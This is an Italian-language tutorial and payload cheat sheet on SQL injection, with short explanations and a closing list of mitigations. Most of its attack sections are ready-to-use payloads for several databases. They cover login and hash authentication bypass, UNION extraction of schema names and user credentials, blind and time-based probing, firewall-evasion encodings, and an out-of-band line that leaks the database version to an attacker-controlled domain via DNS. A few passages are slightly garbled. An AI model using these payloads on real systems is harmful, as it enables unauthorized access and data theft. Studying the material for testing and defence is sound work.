Gli attacchi di SQL injection sono una forma di attacco informatico in cui un aggressore sfrutta delle vulnerabilità presenti in un'applicazione web per inserire del codice SQL malevolo all'interno di una query SQL eseguita dal database sottostante. Il nome "SQL injection" deriva dal fatto che l'attaccante inietta del codice SQL non valido all'interno delle query.
Gli attacchi di SQL injection possono avvenire quando un'applicazione web non valida o filtra in modo insufficiente l'input fornito dagli utenti prima di utilizzarlo in una query SQL. Questo può consentire all'attaccante di manipolare il comportamento previsto dell'applicazione e ottenere accesso non autorizzato al database o compromettere i dati presenti.
Ecco un esempio semplice per illustrare come funqualcusi, adessziona un attacco di SQL injection: supponiamo che un'applicazione web includa un modulo di accesso che richiede un nome utente e una password. L'applicazione web potrebbe costruire una query SQL per verificare le credenziali dell'utente nel seguente modo:
SELECT * FROM utenti WHERE nome_utente = '' AND password = '' |
Se l'applicazione non gestisce correttamente l'input fornito dall'utente e l'attaccante inserisce nel campo del nome utente l'input ' OR '1'='1, la query risultante diventerebbe:
SELECT * FROM utenti WHERE nome_utente = '' OR '1'='1' AND password = '' |
Poiché la condizione '1'='1' è sempre vera, l'attacco di SQL injection consente all'attaccante di bypassare il controllo della password e ottenere l'accesso non autorizzato all'applicazione.
Gli attacchi di SQL injection possono avere conseguenze gravi, come la divulgazione di dati sensibili, la modifica o cancellazione di dati nel database, l'esecuzione di operazioni non autorizzate e persino il controllo completo del sistema. Per mitigare gli attacchi di SQL injection, è fondamentale utilizzare pratiche di sviluppo sicure come l'uso di parametrizzazione delle query o l'utilizzo di framework o librerie che proteggono automaticamente dalle SQL injection.
METODI ATTUAZIONE SQL INJECTION
Basato su errori
Le iniezioni basate sugli errori vengono sfruttate tramite l'attivazione di errori nel database quando gli vengono passati input non validi. I messaggi di errore possono essere utilizzati per restituire i risultati completi della query o ottenere informazioni su come ristrutturare la query per un ulteriore sfruttamento.
Basato sull'Unione
L'iniezione SQL basata su unione consente a un utente malintenzionato di estrarre informazioni dal database estendendo i risultati restituiti dalla query originale. L'operatore Union può essere utilizzato solo se le query originali/nuove hanno la stessa struttura (numero e tipo di dati delle colonne). Puoi provare a enumerare la quantità di colonne utilizzando l'enumerazione basata sugli errori (vedi iniezione basata sugli errori).
Basato alla cieca
Blind SQL injection è uno dei metodi di iniezione più avanzati. Prestare attenzione quando si eseguono queste query, in quanto possono sovraccaricare un server se eseguite attraverso un'automazione pesante.
SQL INJECTION BASATO SUI COMMENTI
Gli attacchi di SQL injection basati sui commenti sfruttano la possibilità di inserire commenti all'interno di un'istruzione SQL per evitare che parti dannose dell'istruzione vengano eseguite.
In SQL, i commenti vengono utilizzati per inserire note o commenti all'interno del codice SQL senza influenzare l'esecuzione dell'istruzione. Ci sono diversi tipi di commenti supportati dai diversi database, ma i più comuni sono:
- Commenti a riga singola: Iniziano con "--" o "#" e vengono utilizzati per commentare una singola riga di codice.
- Commenti multiriga: Iniziano con "/" e terminano con "/". Possono essere utilizzati per commentare più righe di codice.
Gli attaccanti sfruttano i commenti all'interno di un'istruzione SQL per "nascondere" parti dannose dell'istruzione e ingannare il motore di database. Ecco come potrebbe funzionare un attacco basato sui commenti:
- L'attaccante individua un punto di ingresso vulnerabile all'interno dell'applicazione web, come un campo di input che viene utilizzato per costruire l'istruzione SQL.
- L'attaccante inserisce un'istruzione SQL dannosa che contiene parti dannose o comandi non autorizzati, come ad esempio un'istruzione DROP per eliminare una tabella o una clausola UNION per ottenere dati sensibili.
- Per evitare che le parti dannose vengano eseguite, l'attaccante utilizza i commenti per "nasconderle" dall'interpretazione del motore di database. Ad esempio, potrebbe inserire "--" o "/* */" per commentare le parti dannose in modo che il motore di database le ignori.
- L'applicazione web esegue l'istruzione SQL senza una valida sanitizzazione o verifica dei dati, consentendo all'attaccante di eseguire parti dannose dell'istruzione grazie all'uso dei commenti.
- L'attaccante può sfruttare l'esecuzione delle parti dannose per ottenere informazioni sensibili, modificare o eliminare dati o eseguire altre azioni dannose.
MySQL #comment -- comment [fai attenzione allo spazio dopo il trattino] /*comment*/ /*! MYSQL Special SQL */ PostgreSQL --comment /*comment*/ MSQL --comment /*comment*/ Oracle --comment SQLite --comment /*comment*/ HQL does not support comments |
SQL INJECTION CON OPERATORI LOGICI
Gli attacchi di SQL injection basati sugli operatori logici sfruttano la possibilità di manipolare le condizioni di una query SQL utilizzando gli operatori logici come "AND", "OR" e "NOT" per ottenere risultati indesiderati o ottenere accesso a dati sensibili.
Gli operatori logici vengono utilizzati in SQL per combinare o modificare le condizioni delle clausole WHERE nelle query. Ecco come funzionano alcuni operatori logici comuni:
- L'operatore "AND" viene utilizzato per combinare due o più condizioni e richiede che entrambe le condizioni siano vere per soddisfare la condizione complessiva.
- L'operatore "OR" viene utilizzato per combinare due o più condizioni e richiede che almeno una delle condizioni sia vera per soddisfare la condizione complessiva.
- L'operatore "NOT" viene utilizzato per invertire il risultato di una singola condizione, restituendo true se la condizione è falsa e viceversa.
Gli attaccanti sfruttano gli operatori logici in un'istruzione SQL per manipolare le condizioni della query e ottenere risultati imprevisti. Ecco come potrebbe funzionare un attacco basato sugli operatori logici:
- L'attaccante individua un punto di ingresso vulnerabile all'interno dell'applicazione web, come un campo di input che viene utilizzato per costruire l'istruzione SQL.
- L'attaccante inserisce un'istruzione SQL dannosa che contiene condizioni maliziose e utilizza gli operatori logici per manipolare il risultato della query.
- L'applicazione web esegue l'istruzione SQL senza una valida sanitizzazione o verifica dei dati, consentendo all'attaccante di influenzare le condizioni della query in modo indesiderato.
- L'attaccante può utilizzare gli operatori logici per forzare una condizione sempre vera ("1=1") o una condizione sempre falsa ("1=0"), bypassando così le controlli di sicurezza o ottenendo accesso a dati non autorizzati.
- L'attaccante può anche combinare le condizioni in modo da ottenere risultati inattesi, ad esempio ottenere tutte le righe di una tabella anziché solo quelle che dovrebbero essere accessibili.
Esempi URI che contengono un attacco SQL Injection:
pagina.asp?id=1 or 1=1 -- true pagina.asp?id=1' or 1=1 -- true pagina.asp?id=1" or 1=1 -- true pagina.asp?id=1 and 1=2 -- false product.asp?id=1/1 -- true product.asp?id=1/0 -- false product.asp?id=1/abs(1) -- true product.asp?id=1/abf(1) -- false |
Esempi di operatori logici applicabili:
-1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 |
SQL INJECTION CON OPERATORI TEMPORALI
Gli attacchi di SQL injection con operatori temporali sfruttano la manipolazione delle clausole di confronto temporale nelle query SQL per ottenere informazioni o influenzare il comportamento dell'applicazione.
Le clausole di confronto temporale vengono utilizzate in SQL per confrontare valori di data o ora in una query. Alcuni operatori temporali comuni includono:
- "=": Utilizzato per verificare l'uguaglianza tra due valori di data o ora.
- "<": Utilizzato per verificare se un valore di data o ora è inferiore a un altro valore.
- ">": Utilizzato per verificare se un valore di data o ora è superiore a un altro valore.
- "BETWEEN": Utilizzato per verificare se un valore di data o ora si trova all'interno di un intervallo specificato.
Pertanto, si potrebbe concatenare nella query SQL un'operazione che richiederà molto tempo per essere completata:
MySQL (string concat and logical ops) 1' + sleep(10) 1' and sleep(10) 1' && sleep(10) 1' | sleep(10) PostgreSQL (only support string concat) 1' || pg_sleep(10) MSQL 1' WAITFOR DELAY '0:0:10' Oracle 1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10) SQLite 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) SELECT * FROM users WHERE registration_date > '2021-01-01' OR 1=1; -- SELECT * FROM orders WHERE user_id = 123 AND order_date > NOW() OR 1=1 ORDER BY 1; -- name=','');WAITFOR%20DELAY%20'0:0:5'--%20- |
In alcuni casi le funzioni sleep non saranno consentite. Quindi, invece di utilizzare quelle funzioni, potresti fare in modo che la query esegua operazioni complesse che richiederanno diversi secondi. Esempi di queste tecniche verranno commentati separatamente per ciascuna tecnologia (se presente).
SQL INJECTION CON ALTRI OPERATORI
E’ possibile rilevare la vulnerabilità ad attacchi SQL INJECTION anche l’uso dei seguenti operatori:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"], ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"], ["@@CONNECTIONS>0" ,"MSSQL"], ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"], ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"], ["USER_ID(1)=USER_ID(1)" ,"MSSQL"], ["ROWNUM=ROWNUM" ,"ORACLE"], ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"], ["LNNVL(0=123)" ,"ORACLE"], ["5::int=5" ,"POSTGRESQL"], ["5::integer=5" ,"POSTGRESQL"], ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"], ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"], ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"], ["current_database()=current_database()" ,"POSTGRESQL"], ["sqlite_version()=sqlite_version()" ,"SQLITE"], ["last_insert_rowid()>1" ,"SQLITE"], ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"], ["val(cvar(1))=1" ,"MSACCESS"], ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"], ["cdbl(1)=cdbl(1)" ,"MSACCESS"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], |
CONCATENAZIONE DI STRINGHE
Gli attacchi di SQL injection che utilizzano le concatenazioni di stringa sfruttano la possibilità di inserire del codice SQL dannoso all'interno di una stringa utilizzata per costruire un'istruzione SQL. Questi attacchi sfruttano la mancanza di sanitizzazione o di escape dei caratteri speciali nella stringa di input.
Quando un'applicazione web costruisce un'istruzione SQL dinamicamente concatenando stringhe, è fondamentale che i dati inseriti dall'utente siano adeguatamente trattati e sanitizzati per evitare possibili attacchi di SQL injection. Tuttavia, se l'applicazione non valida o filtra correttamente l'input dell'utente, un attaccante può inserire caratteri speciali o sequenze di escape che alterano il comportamento desiderato dell'istruzione SQL.
Oracle 'foo'||'bar' Microsoft 'foo'+'bar' PostgreSQL 'foo'||'bar' MySQL 'foo' 'bar' [fai attenzione allo spazio fra le due stringhe], CONCAT ('foo','bar') data la query SELECT * FROM products WHERE name LIKE '%search_string%'; Se l'applicazione non valida o filtra correttamente la stringa di ricerca, un attaccante potrebbe inserire un'input malizioso come ' OR '1'='1'--, che altererebbe l'istruzione SQL risultante in: SELECT * FROM products WHERE name LIKE '%' OR '1'='1'--%'; |
SUBSTRING
Gli attacchi di SQL injection che utilizzano la funzione SUBSTRING sfruttano la possibilità di estrarre sottostringhe da una stringa all'interno di un'istruzione SQL. La funzione SUBSTRING viene utilizzata per ottenere una parte specifica di una stringa, e gli attaccanti possono sfruttare questa funzionalità per ottenere informazioni sensibili o eseguire azioni non autorizzate.
Oracle SUBSTR('foobar', 4, 2) Microsoft SUBSTRING('foobar', 4, 2) PostgreSQL SUBSTRING('foobar', 4, 2) MySQL SUBSTRING('foobar', 4, 2) SELECT * FROM users WHERE name = '' OR SUBSTRING(password, 1, 1) = 'a'--'; |
VERSIONE DEL DATABASE
È possibile interrogare il database per determinarne il tipo e la versione. Queste informazioni sono utili quando si formulano attacchi più complicati.
Oracle SELECT banner FROM v$version SELECT version FROM v$instance Microsoft SELECT @@version PostgreSQL SELECT version() MySQL SELECT @@version |
CONTENUTO DEL DATABASE
Oracle SELECT * FROM all_tables, SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' Microsoft SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' PostgreSQL SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' MySQL SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
ERRORI CONDIZIONALI
Gli attacchi di SQL injection che sfruttano gli errori condizionali, noti anche come "conditional errors-based SQL injection", sono un tipo di attacco che sfrutta la generazione di errori condizionali nel database per ottenere informazioni sensibili o eseguire azioni non autorizzate.
In generale, quando viene eseguita un'istruzione SQL, il database può generare un errore se si verificano determinate condizioni. Gli attaccanti possono sfruttare questo comportamento per inserire deliberatamente dati dannosi o malformati in un'istruzione SQL al fine di indurre il database a generare un errore specifico, che può essere utilizzato per ottenere informazioni sullo schema del database o sulle query eseguite.
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
BATCHED (or stacked) QUERIES (query in batch)
Oracle Does not support batched queries. Microsoft QUERY-1-HERE; QUERY-2-HERE PostgreSQL QUERY-1-HERE; QUERY-2-HERE MySQL QUERY-1-HERE; QUERY-2-HERE |
TIME DELAYS
Gli attacchi di SQL injection basati sul tempo (Time-Based Techniques) sono una tecnica utilizzata dagli attaccanti per ottenere informazioni sensibili o eseguire azioni non autorizzate sfruttando i ritardi di tempo generati dalle query SQL.
In generale, i DBMS (Database Management System) possono supportare funzionalità di attesa o pause di tempo all'interno delle query. Gli attaccanti possono sfruttare questa caratteristica per identificare informazioni sul database o eseguire operazioni indesiderate.
Ecco come potrebbe funzionare un attacco di SQL injection basato sulle Time-Based Techniques:
- L'attaccante individua un punto di ingresso vulnerabile all'interno dell'applicazione web, come un campo di input che viene utilizzato per costruire un'istruzione SQL.
- L'attaccante inserisce un'input malizioso che include un'istruzione SQL che richiede un ritardo di tempo, come ad esempio l'utilizzo di funzioni di attesa come WAITFOR DELAY (in Microsoft SQL Server) o SLEEP (in MySQL).
- L'applicazione web esegue l'istruzione SQL e attende il ritardo di tempo specificato prima di restituire una risposta.
- L'attaccante monitora il tempo di risposta dell'applicazione web. Se la risposta viene ritardata del tempo specificato, l'attaccante può dedurre che l'istruzione SQL è stata eseguita con successo e che l'iniezione di SQL è stata riuscita.
- L'attaccante può utilizzare questo approccio iterativo per ottenere informazioni sul database, come la presenza di tabelle o colonne specifiche, o eseguire altre azioni dannose come l'estrazione di dati sensibili.
Oracle dbms_pipe.receive_message(('a'),10) Microsoft WAITFOR DELAY '0:0:10' PostgreSQL SELECT pg_sleep(10) MySQL SELECT SLEEP(10) Un attaccante potrebbe tentare un attacco di SQL injection basato sul tempo utilizzando un'input come ' OR SLEEP(5)--, che altererebbe l'istruzione SQL risultante in SELECT * FROM users WHERE username = '' OR SLEEP(5)--' AND password = 'input_password'; |
CONDITIONAL TIME DELAYS
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END MySQL SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |
EXPLOITING UNION BASED
A tale scopo vengono generalmente utilizzati due metodi: GROUP BY e ORDER BY hanno funzionalità diverse in SQL, entrambi possono essere utilizzati esattamente nello stesso modo per determinare il numero di colonne nella query.
Order by
La clausola "ORDER BY" viene utilizzata in SQL per specificare l'ordine in cui le righe devono essere restituite da una query. Di solito, viene specificata una colonna di ordinamento e l'opzione "ASC" (ascendente) o "DESC" (discendente) per determinare se l'ordinamento dovrebbe essere crescente o decrescente.
Gli attaccanti sfruttano le vulnerabilità SQL injection per manipolare l'istruzione SQL contenente la clausola "ORDER BY" e ottenere informazioni o condizioni di ordinamento impreviste. Ecco come potrebbe funzionare un attacco che utilizza "ORDER BY":
- L'attaccante individua un punto di ingresso vulnerabile all'interno dell'applicazione web, solitamente un campo di input che viene utilizzato per costruire l'istruzione SQL.
- L'attaccante inserisce un'istruzione SQL dannosa che include la clausola "ORDER BY" seguita da un numero di colonna o espressione. Questa istruzione maliziosa potrebbe cercare di ottenere informazioni sulle tabelle, la struttura del database o i dati sensibili.
- L'applicazione web esegue l'istruzione SQL senza una valida sanitizzazione o verifica dei dati, consentendo all'attaccante di influenzare l'ordine di restituzione delle righe nella query.
- L'attaccante può dedurre informazioni sulle colonne del database in base all'ordine in cui le righe vengono restituite. Ad esempio, potrebbe dedurre che una determinata colonna contenga dati sensibili come password o informazioni personali.
- L'attaccante può anche sfruttare l'ordinamento imprevisto per eseguire altre azioni dannose, come l'estrazione selettiva di dati o l'individuazione di altre vulnerabilità nell'applicazione.
1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True 1' ORDER BY 3--+ #True 1' ORDER BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True |
Group by
La clausola "GROUP BY" viene utilizzata in SQL per raggruppare le righe di una tabella in base ai valori di una o più colonne. Di solito, viene utilizzata insieme a funzioni di aggregazione come COUNT, SUM, AVG, ecc.
Gli attaccanti sfruttano le vulnerabilità SQL injection per manipolare l'istruzione SQL contenente la clausola "GROUP BY" e ottenere informazioni o influenzare il risultato della query. Ecco come potrebbe funzionare un attacco che utilizza "GROUP BY":
- L'attaccante individua un punto di ingresso vulnerabile all'interno dell'applicazione web, come un campo di input che viene utilizzato per costruire l'istruzione SQL.
- L'attaccante inserisce un'istruzione SQL dannosa che include la clausola "GROUP BY" seguita da una colonna o un elenco di colonne. Questa istruzione maliziosa potrebbe cercare di ottenere informazioni sulle tabelle, la struttura del database o i dati sensibili.
- L'applicazione web esegue l'istruzione SQL senza una valida sanitizzazione o verifica dei dati, consentendo all'attaccante di influenzare il raggruppamento delle righe nella query.
- L'attaccante può ottenere informazioni sulle colonne del database in base ai risultati raggruppati. Ad esempio, potrebbe dedurre informazioni sulle distribuzioni dei dati o individuare colonne contenenti dati sensibili.
- L'attaccante può anche influenzare il risultato della query utilizzando opportuni valori di raggruppamento. Ad esempio, potrebbe cercare di ottenere solo determinate righe o eseguire calcoli maliziosi utilizzando funzioni di aggregazione.
1' GROUP BY 1--+ #True 1' GROUP BY 2--+ #True 1' GROUP BY 3--+ #True 1' GROUP BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True |
UNION SELECT
Uno dei tipi più comuni di attacco SQL injection è quello che sfrutta l'operatore "UNION SELECT". Per comprendere come funziona, è necessario capire prima l'operatore UNION e poi il concetto di SELECT.
L'operatore UNION viene utilizzato in SQL per combinare i risultati di due o più query in un singolo set di risultati. Ad esempio, se hai due tabelle con la stessa struttura e desideri ottenere tutte le righe da entrambe le tabelle, puoi utilizzare l'operatore UNION.
La SELECT è un'istruzione SQL utilizzata per estrarre dati da un database. Consente di specificare quali colonne desideri recuperare e da quali tabelle.
Quando un attaccante sfrutta l'operatore "UNION SELECT" in un attacco SQL injection, cerca di inserire un'istruzione SELECT maliziosa all'interno di un'area di input vulnerabile dell'applicazione web. L'obiettivo dell'attaccante è manipolare l'istruzione SQL in modo che produca un risultato non previsto, consentendo l'estrazione di dati sensibili o l'esecuzione di altre azioni indesiderate.
Ecco come potrebbe funzionare un attacco SQL injection con "UNION SELECT":
- L'attaccante individua un punto di ingresso vulnerabile all'interno dell'applicazione web, tipicamente un campo di input che viene direttamente concatenato con un'istruzione SQL.
- L'attaccante inserisce un'istruzione SQL dannosa che include l'operatore "UNION SELECT" seguito da una query che restituisce dati utili all'attaccante. Questa query maliziosa può includere ulteriori istruzioni per estrarre dati sensibili o eseguire altre operazioni dannose.
- L'applicazione web esegue l'istruzione SQL senza alcuna verifica o sanitizzazione adeguata, consentendo all'attaccante di ottenere il risultato desiderato.
- Il risultato della query maliziosa viene visualizzato all'attaccante o utilizzato per altre attività dannose.
1' UNION SELECT null-- - Not working 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked |
ESTRAZIONE DEL NOME DEL DATABASE, DELLE TABELLE E DELLE COLONNE
#Database names -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata #Tables of a database -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] #Column names -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] |
EXPLOITING ERROR BASED
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) |
EXPLOITING BLIND SQLi
Gli attacchi di SQL injection che sfruttano la "Blind SQLi" (Blind SQL Injection) sono un tipo di attacco in cui l'attaccante cerca di estrarre informazioni sensibili dal database senza ricevere una risposta diretta dal sistema di gestione del database (DBMS). Questo tipo di attacco è chiamato "blind" perché l'attaccante è "cieco" rispetto alle risposte effettive del DBMS.
Nell'attacco "Blind SQLi", l'attaccante sfrutta le vulnerabilità di SQL injection per inviare query SQL malevoli all'applicazione web e ottenere informazioni sensibili o eseguire azioni dannose senza ottenere direttamente il risultato dell'azione.
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' |
EXPLOITING ERROR BLIND SQLi
Questo è lo stesso caso di prima ma invece di distinguere tra una risposta vero/falso dalla query è possibile distinguere tra un errore nella query SQL o meno (forse perché il server HTTP si blocca). Pertanto, in questo caso è possibile forzare un SQLerror ogni volta che si intercetta correttamente la formulazione:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - |
EXPLOITING TIME BASED SQLi
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# |
STACKED QUERYES
È possibile utilizzare query in serie per eseguire più query in successione. Si noti che mentre vengono eseguite le query successive, i risultati non vengono restituiti all'applicazione. Quindi questa tecnica è principalmente utile in relazione alle vulnerabilità cieche in cui è possibile utilizzare una seconda query per attivare una ricerca DNS, un errore condizionale o un ritardo.
Oracle non supporta le query in successione. MySQL, Microsoft e PostgreSQL li supportano: QUERY-1-HERE; QUERY-2-HERE
OUT OF BAND EXPLOITATION
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); |
OUT OF BAND DATA EXFILTRATION
a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- - |
Authentication Bypass (Raw MD5)
Quando viene utilizzato un md5, il l’autenticazione verrà eseguita come una semplice stringa, non una stringa esadecimale
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'" md5("ffifdyop", true) = 'or' |
Hash Authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' |
ESTRAZIONE DI INFORMAZIONI
SQLi payload: username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - A new user with username=otherUsername, password=otherPassword, email:FLAG will be created |
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' |
__import__('binascii').unhexlify(hex(215573607263)[2:]) |
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m", "#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' '+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"), "l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' #Full ascii uppercase and lowercase replace: '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace( replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' |
Routed SQL injection
Gli attacchi di Routed SQL injection sono un tipo di attacco che mira a sfruttare le vulnerabilità di SQL injection in applicazioni web che utilizzano più database o connessioni a database differenti. Questo tipo di attacco consente all'attaccante di eseguire query SQL dannose su un database diverso da quello previsto dall'applicazione.
#Hex of: -1' union select login,password from users-- a -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a Supponiamo la query SELECT * FROM slave_db.table_name WHERE condition; L'attaccante potrebbe inserire un'input malevolo come ' UNION SELECT * FROM master_db.table_name--, che altera l'istruzione SQL risultante in SELECT * FROM slave_db.table_name WHERE condition UNION SELECT * FROM master_db.table_name--; In questo modo, l'istruzione SQL alterata viene eseguita sul database master anziché sul database slave, consentendo all'attaccante di eseguire query dannose sul database master. |
WAF Bypass
No spaces bypass
Nelle query SQL tradizionali, gli spazi vengono utilizzati per separare le parole chiave, gli identificatori e gli operatori, rendendo più leggibile e strutturato il codice SQL. Tuttavia, alcune applicazioni web potrebbero non gestire correttamente l'eliminazione o l'ignoranza degli spazi durante l'elaborazione delle query SQL, aprendo la possibilità di sfruttare questa vulnerabilità.
?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- ?id=1%0Cand%0C1=1%0C-- ?id=1%0Band%0B1=1%0B-- ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- |
No Whitespace - bypass using comments
?id=1/*comment*/and/**/1=1/**/-- |
No Whitespace - bypass using parenthesis
?id=(1)and(1)=(1)-- |
No commas bypass
LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d |
Generic Bypasses
Gli attacchi di SQL injection "Authentication bypass" sono un tipo di attacco che mira a bypassare o eludere i meccanismi di autenticazione di un'applicazione web sfruttando le vulnerabilità di SQL injection.
In generale, le applicazioni web utilizzano sistemi di autenticazione per verificare l'identità degli utenti e consentire loro l'accesso alle risorse o alle funzionalità appropriate. Tuttavia, se un'applicazione web è vulnerabile alla SQL injection, un attaccante potrebbe sfruttare questa vulnerabilità per eludere o bypassare il processo di autenticazione e ottenere accesso non autorizzato.
?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# supponiamo la seguente query: SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password'; Se l'applicazione web non valida o filtra correttamente l'input dell'utente, un attaccante potrebbe inserire un'input malizioso come ' OR '1'='1'--, che altererebbe l'istruzione SQL risultante in: SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = 'input_password'; In questo caso, la condizione '1'='1' è sempre vera, quindi l'attacco bypassa l'autenticazione e l'applicazione web considera l'utente come autenticato, consentendo l'accesso non autorizzato. |
GBK Authentication Bypass
SQL injection "GBK Authentication Bypass" è un tipo specifico di attacco di SQL injection che sfrutta l'encoding dei caratteri GBK (Guo Biao Kou) per eludere i controlli di autenticazione e ottenere l'accesso non autorizzato a un'applicazione web.
Il GBK è un set di caratteri che viene utilizzato principalmente per la codifica dei caratteri cinesi semplificati. Tuttavia, alcune applicazioni web potrebbero non gestire correttamente la conversione dei caratteri durante l'iniezione di SQL, aprendo la possibilità di sfruttare questa vulnerabilità.
%A8%27 OR 1=1;-- 2 %8C%A8%27 OR 1=1-- 2 %bf' or 1=1 -- -- |
Blacklist utilizzando parole chiave senza distinzione tra maiuscole e minuscole: bypass utilizzando un operatore equivalente
AND -> && -> %26%26 OR -> || -> %7C%7C = -> LIKE,REGEXP,RLIKE, not < and not > > X -> not between 0 and X WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) |
Scientific Notation WAF bypass
-1' or 1.e(1) or '1'='1 -1' or 1337.1337e1 or '1'='1 ' or 1.e('')= |
Bypass Column Names Restriction
Prima di tutto, nota che se la query originale e la tabella da cui vuoi estrarre il flag hanno lo stesso numero di colonne potresti semplicemente fare: 0 UNION SELECT * FROM flag
È possibile accedere alla terza colonna di una tabella senza usare il suo nome usando una query come la seguente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F
# This is an example with 3 columns that will extract the column number 3 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; |
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c |
AZIONI PER MITIGARE GLI ATTACCHI SQL INJECTION
Per mitigare gli attacchi SQL injection basati su "GROUP BY" e altre tecniche simili, è importante adottare le seguenti pratiche di sicurezza:
- Validare e filtrare attentamente tutti gli input dell'utente per assicurarsi che siano conformi alle aspettative dell'applicazione.
- Utilizzare parametri di query o prepared statements per creare query dinamiche invece di concatenare direttamente i valori dell'input utente nelle istruzioni SQL.
- Limitare i privilegi dell'account del database utilizzato dall'applicazione web per ridurre l'impatto di un eventuale attacco riuscito.
